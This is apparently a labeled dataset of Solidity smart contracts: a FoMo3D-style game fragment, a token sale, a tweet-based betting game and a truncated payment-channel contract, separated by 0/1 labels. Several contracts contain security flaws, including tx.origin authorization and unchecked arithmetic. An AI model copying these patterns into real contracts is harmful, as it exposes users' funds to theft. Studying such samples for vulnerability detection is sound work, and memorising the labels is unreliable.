_p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { action.redistribution.value(_p3d).gas(1000000)(); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract tokenInterface { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool); } contract rateInterface { function readRate(string _currency) public view returns (uint256 oneEtherValue); } contract RC { using SafeMath for uint256; TokenSale tokenSaleContract; uint256 public startTime; uint256 public endTime; uint256 public soldTokens; uint256 public remainingTokens; uint256 public oneTokenInEurWei; function RC(address _tokenSaleContract, uint256 _oneTokenInEurWei, uint256 _remainingTokens, uint256 _startTime , uint256 _endTime ) public { require ( _tokenSaleContract != 0 ); require ( _oneTokenInEurWei != 0 ); require( _remainingTokens != 0 ); tokenSaleContract = TokenSale(_tokenSaleContract); tokenSaleContract.addMeByRC(); soldTokens = 0; remainingTokens = _remainingTokens; oneTokenInEurWei = _oneTokenInEurWei; setTimeRC( _startTime, _endTime ); } function setTimeRC(uint256 _startTime, uint256 _endTime ) internal { if( _startTime == 0 ) { startTime = tokenSaleContract.startTime(); } else { startTime = _startTime; } if( _endTime == 0 ) { endTime = tokenSaleContract.endTime(); } else { endTime = _endTime; } } modifier onlyTokenSaleOwner() { require(msg.sender == tokenSaleContract.owner() ); _; } function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner { if ( _newStart != 0 ) startTime = _newStart; if ( _newEnd != 0 ) endTime = _newEnd; } event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInEurWei ); function () public payable { require( now > startTime ); require( now < endTime ); require( remainingTokens > 0 ); uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(msg.sender, oneTokenInEurWei, remainingTokens); remainingTokens = remainingTokens.sub(tokenAmount); soldTokens = soldTokens.add(tokenAmount); BuyRC( msg.sender, msg.data, msg.value, tokenAmount, oneTokenInEurWei ); } } contract TokenSale is Ownable { using SafeMath for uint256; tokenInterface public tokenContract; rateInterface public rateContract; address public wallet; address public advisor; uint256 public advisorFee; uint256 public constant decimals = 18; uint256 public endTime; uint256 public startTime; mapping(address => bool) public rc; function TokenSale(address _tokenAddress, address _rateAddress, uint256 _startTime, uint256 _endTime) public { tokenContract = tokenInterface(_tokenAddress); rateContract = rateInterface(_rateAddress); setTime(_startTime, _endTime); wallet = msg.sender; advisor = msg.sender; advisorFee = 0 * 10**3; } function tokenValueInEther(uint256 _oneTokenInEurWei) public view returns(uint256 tknValue) { uint256 oneEtherInEur = rateContract.readRate("eur"); tknValue = _oneTokenInEurWei.mul(10 ** uint256(decimals)).div(oneEtherInEur); return tknValue; } modifier isBuyable() { require( now > startTime ); require( now < endTime ); require( msg.value > 0 ); uint256 remainingTokens = tokenContract.balanceOf(this); require( remainingTokens > 0 ); _; } event Buy(address buyer, uint256 value, address indexed ambassador); modifier onlyRC() { require( rc[msg.sender] ); _; } function buyFromRC(address _buyer, uint256 _rcTokenValue, uint256 _remainingTokens) onlyRC isBuyable public payable returns(uint256) { uint256 oneToken = 10 ** uint256(decimals); uint256 tokenValue = tokenValueInEther(_rcTokenValue); uint256 tokenAmount = msg.value.mul(oneToken).div(tokenValue); address _ambassador = msg.sender; uint256 remainingTokens = tokenContract.balanceOf(this); if ( _remainingTokens < remainingTokens ) { remainingTokens = _remainingTokens; } if ( remainingTokens < tokenAmount ) { uint256 refund = (tokenAmount - remainingTokens).mul(tokenValue).div(oneToken); tokenAmount = remainingTokens; forward(msg.value-refund); remainingTokens = 0; _buyer.transfer(refund); } else { remainingTokens = remainingTokens.sub(tokenAmount); forward(msg.value); } tokenContract.transfer(_buyer, tokenAmount); Buy(_buyer, tokenAmount, _ambassador); return tokenAmount; } function forward(uint256 _amount) internal { uint256 advisorAmount = _amount.mul(advisorFee).div(10**3); uint256 walletAmount = _amount - advisorAmount; advisor.transfer(advisorAmount); wallet.transfer(walletAmount); } event NewRC(address contr); function addMeByRC() public { require(tx.origin == owner); rc[ msg.sender ] = true; NewRC(msg.sender); } function setTime(uint256 _newStart, uint256 _newEnd) public onlyOwner { if ( _newStart != 0 ) startTime = _newStart; if ( _newEnd != 0 ) endTime = _newEnd; } modifier onlyOwnerOrRC() { require( rc[msg.sender] || msg.sender == owner ); _; } function withdraw(address to, uint256 value) public onlyOwner { to.transfer(value); } function withdrawTokens(address to, uint256 value) public onlyOwnerOrRC returns (bool) { return tokenContract.transfer(to, value); } function setTokenContract(address _tokenContract) public onlyOwner { tokenContract = tokenInterface(_tokenContract); } function setWalletAddress(address _wallet) public onlyOwner { wallet = _wallet; } function setAdvisorAddress(address _advisor) public onlyOwner { advisor = _advisor; } function setAdvisorFee(uint256 _advisorFee) public onlyOwner { advisorFee = _advisorFee; } function setRateContract(address _rateAddress) public onlyOwner { rateContract = rateInterface(_rateAddress); } function () public payable { revert(); } function newRC(uint256 _oneTokenInEurWei, uint256 _remainingTokens) onlyOwner public { new RC(this, _oneTokenInEurWei, _remainingTokens, 0, 0 ); } } contract PrivateSale { using SafeMath for uint256; TokenSale tokenSaleContract; uint256 public startTime; uint256 internal constant weekInSeconds = 604800; uint256 public endTime; uint256 public soldTokens; uint256 public remainingTokens; uint256 public oneTokenInEurWei; function PrivateSale(address _tokenSaleContract, uint256 _oneTokenInEurWei, uint256 _remainingTokens, uint256 _startTime , uint256 _endTime ) public { require ( _tokenSaleContract != 0 ); require ( _oneTokenInEurWei != 0 ); require( _remainingTokens != 0 ); tokenSaleContract = TokenSale(_tokenSaleContract); tokenSaleContract.addMeByRC(); soldTokens = 0; remainingTokens = _remainingTokens; oneTokenInEurWei = _oneTokenInEurWei; setTimeRC( _startTime, _endTime ); } function setTimeRC(uint256 _startTime, uint256 _endTime ) internal { if( _startTime == 0 ) { startTime = tokenSaleContract.startTime(); } else { startTime = _startTime; } if( _endTime == 0 ) { endTime = tokenSaleContract.endTime(); } else { endTime = _endTime; } } modifier onlyTokenSaleOwner() { require(msg.sender == tokenSaleContract.owner() ); _; } function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner { if ( _newStart != 0 ) startTime = _newStart; if ( _newEnd != 0 ) endTime = _newEnd; } event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInEurWei ); function () public payable { require( now > startTime ); require( now < endTime ); require( remainingTokens > 0 ); uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(msg.sender, oneTokenInEurWei, remainingTokens); remainingTokens = remainingTokens.sub(tokenAmount); soldTokens = soldTokens.add(tokenAmount); uint256 bonusRate; if( now > startTime + weekInSeconds*0 ) { bonusRate = 1000; } if( now > startTime + weekInSeconds*1 ) { bonusRate = 800; } if( now > startTime + weekInSeconds*2 ) { bonusRate = 600; } if( now > startTime + weekInSeconds*3 ) { bonusRate = 400; } if( now > startTime + weekInSeconds*4 ) { bonusRate = 200; } if( now > startTime + weekInSeconds*5 ) { bonusRate = 0; } tokenSaleContract.withdrawTokens(msg.sender, tokenAmount.mul( bonusRate ).div(10**4) ); BuyRC( msg.sender, msg.data, msg.value, tokenAmount, oneTokenInEurWei ); } }
0
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TrumpBingo { uint256 private minBid = 0.01 ether; uint256 private feePercent = 5; uint256 private jackpotPercent = 10; uint256 private startingCoownerPrice = 10 ether; bool public paused; address public ceoAddress; address public feeAddress; address public feedAddress; modifier notPaused() { require(!paused); _; } modifier onlyFeed() { require(msg.sender == feedAddress); _; } modifier onlyCEO() { require(msg.sender == ceoAddress); _; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setFeedAddress(address _newFeed) public onlyCEO { feedAddress = _newFeed; } function setFeeAddress(address _newFee) public onlyCEO { feeAddress = _newFee; } function pauseContract() public onlyCEO { paused = true; } function unpauseContract() public onlyCEO { paused = false; } mapping (address => uint256) private profits; function getProfits(address who) public view returns (uint256) { return profits[who]; } function withdraw(address who) public { require(profits[who] > 0); uint256 amount = profits[who]; profits[who] = 0; who.transfer(amount); } address public feeCoownerAddress; uint256 public coownerPrice; function becomeCoowner() public payable { if (msg.value < coownerPrice) { revert(); } uint256 ourFee = coownerPrice / 10; uint256 profit = coownerPrice - ourFee; profits[feeCoownerAddress] += profit; profits[feeAddress] += ourFee; profits[msg.sender] += msg.value - coownerPrice; coownerPrice = coownerPrice * 3 / 2; feeCoownerAddress = msg.sender; } struct Word { string word; bool disabled; } event WordSetChanged(); Word[] private words; mapping (string => uint256) private idByWord; function getWordCount() public view returns (uint) { return words.length; } function getWord(uint index) public view returns (string word, bool disabled) { require(index < words.length); return (words[index].word, words[index].disabled); } function getWordIndex(string word) public view returns (uint) { return idByWord[word]; } function addWord(string word) public onlyCEO { uint index = idByWord[word]; require(index == 0); index = words.push(Word({word: word, disabled: false})) - 1; idByWord[word] = index; bids.length = words.length; WordSetChanged(); } function delWord(string word) public onlyCEO { uint index = idByWord[word]; require(index > 0); require(bids[index].bestBidder == address(0)); idByWord[word] = 0; words[index].disabled = true; WordSetChanged(); } uint public prevTweetTime; uint256 public prevRoundTweetId; struct WinnerInfo { address who; uint256 howMuch; uint256 wordId; } WinnerInfo[] private prevRoundWinners; uint private prevRoundWinnerCount; function getPrevRoundWinnerCount() public view returns (uint256 winnerCount) { winnerCount = prevRoundWinnerCount; } function getPrevRoundWinner(uint i) public view returns (address who, uint256 howMuch, uint256 wordId) { who = prevRoundWinners[i].who; howMuch = prevRoundWinners[i].howMuch; wordId = prevRoundWinners[i].wordId; } function addWinner(address who, uint howMuch, uint wordId) private { ++prevRoundWinnerCount; if (prevRoundWinners.length < prevRoundWinnerCount) { prevRoundWinners.length = prevRoundWinnerCount; } prevRoundWinners[prevRoundWinnerCount - 1].who = who; prevRoundWinners[prevRoundWinnerCount - 1].howMuch = howMuch; prevRoundWinners[prevRoundWinnerCount - 1].wordId = wordId; } struct Bid { uint256 cumValue; uint256 validRoundNo; } struct WordBids { mapping (address => Bid) totalBids; address bestBidder; } uint256 private curRound; WordBids[] private bids; uint256 private totalBank; uint256 private totalJackpot; function getJackpot() public view returns (uint256) { return totalJackpot; } function getBank() public view returns (uint256) { return totalBank; } function getBestBidder(uint256 wordIndex) public view returns (address, uint256) { return (bids[wordIndex].bestBidder, bids[wordIndex].totalBids[bids[wordIndex].bestBidder].cumValue); } function getBestBid(uint256 wordIndex) public view returns (uint256) { return bids[wordIndex].totalBids[bids[wordIndex].bestBidder].cumValue; } function getMinAllowedBid(uint256 wordIndex) public view returns (uint256) { return getBestBid(wordIndex) + minBid; } function getTotalBid(address who, uint256 wordIndex) public view returns (uint256) { if (bids[wordIndex].totalBids[who].validRoundNo != curRound) { return 0; } return bids[wordIndex].totalBids[who].cumValue; } function startNewRound() private { totalBank = 0; ++curRound; for (uint i = 0; i < bids.length; ++i) { bids[i].bestBidder = 0; } } event BestBidUpdate(); function addBid(address who, uint wordIndex, uint256 value) private { if (bids[wordIndex].totalBids[who].validRoundNo != curRound) { bids[wordIndex].totalBids[who].cumValue = 0; bids[wordIndex].totalBids[who].validRoundNo = curRound; } uint256 newBid = value + bids[wordIndex].totalBids[who].cumValue; uint256 minAllowedBid = getMinAllowedBid(wordIndex); if (minAllowedBid > newBid) { revert(); } bids[wordIndex].totalBids[who].cumValue = newBid; bids[wordIndex].bestBidder = who; totalBank += value; BestBidUpdate(); } function calcPayouts(bool[] hasWon) private { uint256 totalWon; uint i; for (i = 0; i < words.length; ++i) { if (hasWon[i]) { totalWon += getBestBid(i); } } if (totalWon == 0) { totalJackpot += totalBank; return; } uint256 bank = totalJackpot / 2; totalJackpot -= bank; bank += totalBank; uint256 fee = uint256(SafeMath.div(SafeMath.mul(bank - totalWon, feePercent), 100)); bank -= fee; profits[feeAddress] += fee / 2; fee -= fee / 2; profits[feeCoownerAddress] += fee; uint256 jackpotFill = uint256(SafeMath.div(SafeMath.mul(bank - totalWon, jackpotPercent), 100)); bank -= jackpotFill; totalJackpot += jackpotFill; for (i = 0; i < words.length; ++i) { if (hasWon[i] && bids[i].bestBidder != address(0)) { uint256 payout = uint256(SafeMath.div(SafeMath.mul(bank, getBestBid(i)), totalWon)); profits[bids[i].bestBidder] += payout; addWinner(bids[i].bestBidder, payout, i); } } } function getPotentialProfit(address who, string word) public view returns (uint256 minNeededBid, uint256 expectedProfit) { uint index = idByWord[word]; require(index > 0); uint currentBid = getTotalBid(who, index); address bestBidder; (bestBidder,) = getBestBidder(index); if (bestBidder != who) { minNeededBid = getMinAllowedBid(index) - currentBid; } uint256 bank = totalJackpot / 2; bank += totalBank; uint256 fee = uint256(SafeMath.div(SafeMath.mul(bank - currentBid, feePercent), 100)); bank -= fee; uint256 jackpotFill = uint256(SafeMath.div(SafeMath.mul(bank - currentBid, jackpotPercent), 100)); bank -= jackpotFill; expectedProfit = bank; } function bid(string word) public payable notPaused { uint index = idByWord[word]; require(index > 0); addBid(msg.sender, index, msg.value); } function hasSubstring(string haystack, string needle) private pure returns (bool) { uint needleSize = bytes(needle).length; bytes32 hash = keccak256(needle); for(uint i = 0; i < bytes(haystack).length - needleSize; i++) { bytes32 testHash; assembly { testHash := sha3(add(add(haystack, i), 32), needleSize) } if (hash == testHash) return true; } return false; } event RoundFinished(); event NoBids(); event NoBingoWords(); function feedTweet(uint tweetTime, uint256 tweetId, string tweet) public onlyFeed notPaused { prevTweetTime = tweetTime; if (totalBank == 0) { NoBids(); return; } bool[] memory hasWon = new bool[](words.length); bool anyWordPresent = false; for (uint i = 0; i < words.length; ++i) { hasWon[i] = (!words[i].disabled) && hasSubstring(tweet, words[i].word); if (hasWon[i]) { anyWordPresent = true; } } if (!anyWordPresent) { NoBingoWords(); return; } prevRoundTweetId = tweetId; prevRoundWinnerCount = 0; calcPayouts(hasWon); RoundFinished(); startNewRound(); } function TrumpBingo() public { ceoAddress = msg.sender; feeAddress = msg.sender; feedAddress = msg.sender; feeCoownerAddress = msg.sender; coownerPrice = startingCoownerPrice; paused = false; words.push(Word({word: "", disabled: true})); startNewRound(); } }
1
pragma solidity ^0.4.23; contract Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library ECTools { function recoverSigner(bytes32 _hashedMsg, string _sig) public pure returns (address) { require(_hashedMsg != 0x00); bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashedMsg)); if (bytes(_sig).length != 132) { return 0x0; } bytes32 r; bytes32 s; uint8 v; bytes memory sig = hexstrToBytes(substring(_sig, 2, 132)); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) { v += 27; } if (v < 27 || v > 28) { return 0x0; } return ecrecover(prefixedHash, v, r, s); } function isSignedBy(bytes32 _hashedMsg, string _sig, address _addr) public pure returns (bool) { require(_addr != 0x0); return _addr == recoverSigner(_hashedMsg, _sig); } function hexstrToBytes(string _hexstr) public pure returns (bytes) { uint len = bytes(_hexstr).length; require(len % 2 == 0); bytes memory bstr = bytes(new string(len / 2)); uint k = 0; string memory s; string memory r; for (uint i = 0; i < len; i += 2) { s = substring(_hexstr, i, i + 1); r = substring(_hexstr, i + 1, i + 2); uint p = parseInt16Char(s) * 16 + parseInt16Char(r); bstr[k++] = uintToBytes32(p)[31]; } return bstr; } function parseInt16Char(string _char) public pure returns (uint) { bytes memory bresult = bytes(_char); if ((bresult[0] >= 48) && (bresult[0] <= 57)) { return uint(bresult[0]) - 48; } else if ((bresult[0] >= 65) && (bresult[0] <= 70)) { return uint(bresult[0]) - 55; } else if ((bresult[0] >= 97) && (bresult[0] <= 102)) { return uint(bresult[0]) - 87; } else { revert(); } } function uintToBytes32(uint _uint) public pure returns (bytes b) { b = new bytes(32); assembly {mstore(add(b, 32), _uint)} } function toEthereumSignedMessage(string _msg) public pure returns (bytes32) { uint len = bytes(_msg).length; require(len > 0); bytes memory prefix = "\x19Ethereum Signed Message:\n"; return keccak256(abi.encodePacked(prefix, uintToString(len), _msg)); } function uintToString(uint _uint) public pure returns (string str) { uint len = 0; uint m = _uint + 0; while (m != 0) { len++; m /= 10; } bytes memory b = new bytes(len); uint i = len - 1; while (_uint != 0) { uint remainder = _uint % 10; _uint = _uint / 10; b[i--] = byte(48 + remainder); } str = string(b); } function substring(string _str, uint _startIndex, uint _endIndex) public pure returns (string) { bytes memory strBytes = bytes(_str); require(_startIndex <= _endIndex); require(_startIndex >= 0); require(_endIndex <= strBytes.length); bytes memory result = new bytes(_endIndex - _startIndex); for (uint i = _startIndex; i < _endIndex; i++) { result[i - _startIndex] = strBytes[i]; } return string(result); } } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H0.1'; constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } } contract LedgerChannel { string public constant NAME = "Ledger Channel"; string public constant VERSION = "0.0.1"; uint256 public numChannels = 0; event DidLCOpen ( bytes32 indexed channelId, address indexed partyA, address indexed partyI, uint256 ethBalanceA, address token, uint256 tokenBalanceA, uint256 LCopenTimeout ); event DidLCJoin ( bytes32 indexed channelId, uint256 ethBalanceI, uint256 tokenBalanceI ); event DidLCDeposit ( bytes32 indexed channelId, address indexed recipient, uint256 deposit, bool isToken ); event DidLCUpdateState ( bytes32 indexed channelId, uint256 sequence, uint256 numOpenVc, uint256 ethBalanceA, uint256 tokenBalanceA, uint256 ethBalanceI, uint256 tokenBalanceI, bytes32 vcRoot, uint256 updateLCtimeout ); event DidLCClose ( bytes32 indexed channelId, uint256 sequence, uint256 ethBalanceA, uint256 tokenBalanceA, uint256 ethBalanceI, uint256 tokenBalanceI ); event DidVCInit ( bytes32 indexed lcId, bytes32 indexed vcId, bytes proof, uint256 sequence, address partyA, address partyB, uint256 balanceA, uint256 balanceB ); event DidVCSettle ( bytes32 indexed lcId, bytes32 indexed vcId, uint256 updateSeq, uint256 updateBalA, uint256 updateBalB, address challenger, uint256 updateVCtimeout ); event DidVCClose( bytes32 indexed lcId, bytes32 indexed vcId, uint256 balanceA, uint256 balanceB ); struct Channel { address[2] partyAddresses; uint256[4] ethBalances; uint256[4] erc20Balances; uint256[2] initialDeposit; uint256 sequence; uint256 confirmTime; bytes32 VCrootHash; uint256 LCopenTimeout; uint256 updateLCtimeout; bool isOpen; bool isUpdateLCSettling; uint256 numOpenVC; HumanStandardToken token; } struct VirtualChannel { bool isClose; bool isInSettlementState; uint256 sequence; address challenger; uint256 updateVCtimeout; address partyA; address partyB; address partyI; uint256[2] ethBalances; uint256[2] erc20Balances; uint256[2] bond; HumanStandardToken token; } mapping(bytes32 => VirtualChannel) public virtualChannels; mapping(bytes32 => Channel) public Channels; function createChannel( bytes32 _lcID, address _partyI, uint256 _confirmTime, address _token, uint256[2] _balances ) public payable { require(Channels[_lcID].partyAddresses[0] == address(0), "Channel has already been created."); require(_partyI != 0x0, "No partyI address provided to LC creation"); require(_balances[0] >= 0 && _balances[1] >= 0, "Balances cannot be negative"); Channels[_lcID].partyAddresses[0] = msg.sender; Channels[_lcID].partyAddresses[1] = _partyI; if(_balances[0] != 0) { require(msg.value == _balances[0], "Eth balance does not match sent value"); Channels[_lcID].ethBalances[0] = msg.value; } if(_balances[1] != 0) { Channels[_lcID].token = HumanStandardToken(_token); require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"CreateChannel: token transfer failure"); Channels[_lcID].erc20Balances[0] = _balances[1]; } Channels[_lcID].sequence = 0; Channels[_lcID].confirmTime = _confirmTime; Channels[_lcID].LCopenTimeout = now + _confirmTime; Channels[_lcID].initialDeposit = _balances; emit DidLCOpen(_lcID, msg.sender, _partyI, _balances[0], _token, _balances[1], Channels[_lcID].LCopenTimeout); } function LCOpenTimeout(bytes32 _lcID) public { require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false); require(now > Channels[_lcID].LCopenTimeout); if(Channels[_lcID].initialDeposit[0] != 0) { Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]); } if(Channels[_lcID].initialDeposit[1] != 0) { require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], Channels[_lcID].erc20Balances[0]),"CreateChannel: token transfer failure"); } emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0); delete Channels[_lcID]; } function joinChannel(bytes32 _lcID, uint256[2] _balances) public payable { require(Channels[_lcID].isOpen == false); require(msg.sender == Channels[_lcID].partyAddresses[1]); if(_balances[0] != 0) { require(msg.value == _balances[0], "state balance does not match sent value"); 